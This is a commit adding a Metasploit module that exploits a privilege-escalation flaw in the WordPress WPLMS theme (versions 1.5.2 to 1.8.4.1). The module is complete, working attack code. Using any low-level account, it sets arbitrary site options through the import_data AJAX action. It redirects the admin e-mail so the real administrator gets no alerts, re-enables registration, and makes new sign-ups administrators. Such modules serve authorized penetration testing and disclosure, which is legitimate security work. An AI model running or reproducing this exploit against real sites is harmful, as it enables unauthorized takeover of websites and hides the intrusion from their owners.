Add WordPress WPLMS privilege escalation module

Author: rastating

modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb

@@ -0,0 +1,124 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+  include Msf::HTTP::Wordpress
+
+  def initialize(info = {})
+    super(update_info(
+      info,
+      'Name'            => 'WordPress WPLMS Theme Privilege Escalation',
+      'Description'     => %q{
+          The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows authenticated users of
+          any user level to set any system option via a lack of validation in the import_data function
+          of /includes/func.php.
+
+          The module first changes the admin e-mail address to prevent any
+          notifications being sent to the actual administrator during the attack, re-enables user
+          registration in case it has been disabled and sets the default role to be administrator.
+          This will allow for the user to create a new account with admin privileges via the default
+          registration page found at /wp-login.php?action=register.
+      },
+      'Author'          =>
+        [
+          'Evex',                             # Vulnerability discovery
+          'Rob Carr <rob[at]rastating.com>'   # Metasploit module
+        ],
+      'License'         => MSF_LICENSE,
+      'References'      =>
+        [
+          ['WPVDB', '7785']
+        ],
+      'DisclosureDate'  => 'Feb 09 2015'
+      ))
+
+    register_options(
+      [
+        OptString.new('USERNAME', [false, 'The WordPress username to authenticate with']),
+        OptString.new('PASSWORD', [false, 'The WordPress password to authenticate with'])
+      ], self.class)
+  end
+
+  def check
+    check_theme_version_from_style('wplms', '1.8.4.2', '1.5.2')
+  end
+
+  def username
+    datastore['USERNAME']
+  end
+
+  def password
+    datastore['PASSWORD']
+  end
+
+  def php_serialize(value)
+    # Only strings and numbers are required by this module
+    case value
+    when String, Symbol
+      "s:#{value.bytesize}:\"#{value}\";"
+    when Fixnum
+      "i:#{value};"
+    end
+  end
+
+  def serialize_and_encode(value)
+    serialized_value = php_serialize(value)
+    unless serialized_value.nil?
+      Rex::Text.encode_base64(serialized_value)
+    end
+  end
+
+  def set_wp_option(name, value, cookie)
+    encoded_value = serialize_and_encode(value)
+    if encoded_value.nil?
+      vprint_error("#{peer} - Failed to serialize #{value}.")
+    else
+      res = send_request_cgi(
+        'method'    => 'POST',
+        'uri'       => wordpress_url_admin_ajax,
+        'vars_get'  => { 'action' => 'import_data' },
+        'vars_post' => { 'name' => name, 'code' => encoded_value },
+        'cookie'    => cookie
+      )
+
+      if res.nil?
+        vprint_error("#{peer} - No response from the target.")
+      else
+        vprint_warning("#{peer} - Server responded with status code #{res.code}") if res.code != 200
+      end
+
+      return res
+    end
+  end
+
+  def run
+    print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
+    cookie = wordpress_login(username, password)
+    fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
+    print_good("#{peer} - Authenticated with WordPress")
+
+    new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"
+    print_status("#{peer} - Changing admin e-mail address to #{new_email}...")
+    if set_wp_option('admin_email', new_email, cookie).nil?
+      fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address')
+    end
+
+    print_status("#{peer} - Enabling user registrations...")
+    if set_wp_option('users_can_register', 1, cookie).nil?
+      fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations')
+    end
+
+    print_status("#{peer} - Setting the default user role...")
+    if set_wp_option('default_role', 'administrator', cookie).nil?
+      fail_with(Failure::UnexpectedReply, 'Failed to set the default user role')
+    end
+
+    register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')
+    print_good("#{peer} - Privilege escalation complete")
+    print_good("#{peer} - Create a new account at #{register_url} to gain admin access.")
+  end
+end